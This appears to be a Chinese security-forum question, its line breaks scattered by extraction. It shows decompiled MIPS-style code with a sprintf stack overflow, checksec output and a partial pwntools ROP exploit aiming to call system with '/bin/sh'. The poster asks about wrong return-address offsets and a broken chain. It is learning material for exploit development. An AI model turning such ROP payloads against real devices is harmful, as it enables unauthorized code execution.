反编译代码
int
__fastcall setInfo(
a1, const char
*
a2, const char
a3, const char
a4)
{
v5;
/
[sp
+
20h
] [
] BYREF
char v6[
260
];
24h
v6到fp偏移为
-
0x104
v5
=
0
;
memset(v6,
,
0x100u
);
getId(a2, &v5);
a2的偏移是
0xc
sprintf(v6,
"%d;%s;%s;%s"
, a1, a2, a3, a4);
overflow
return
modify_rule(v5, v6);
}
checksec
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (
0x400000
)
v6
···
var_104
addiu $v0, $fp,
0x128
我写的exp
from
pwn
import
# exp += b"b"*(0x92-len(exp)) +b'f'+ gadget + b'a'*0x1C + b'a'*4 + bin_sh_addr + gadget + b'a'*0x1C + b'a'*8 + system_addr
exp
b
"b"
(
0x93
len
(exp))
'\x40\x01\x41'
用不注释的exp能跳转到system,但后面再加东西就跳不到system了,我也就没办法给system传参,这是为什么?另外,实际实现rop的偏移跟我一开始计算的偏移不一样,我是用-(0x128-0x24+4)计算得到的v6到ra偏移,但这个没法用,后来用二分法试才试出现在的偏移,这是算错了吗?请指教!
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课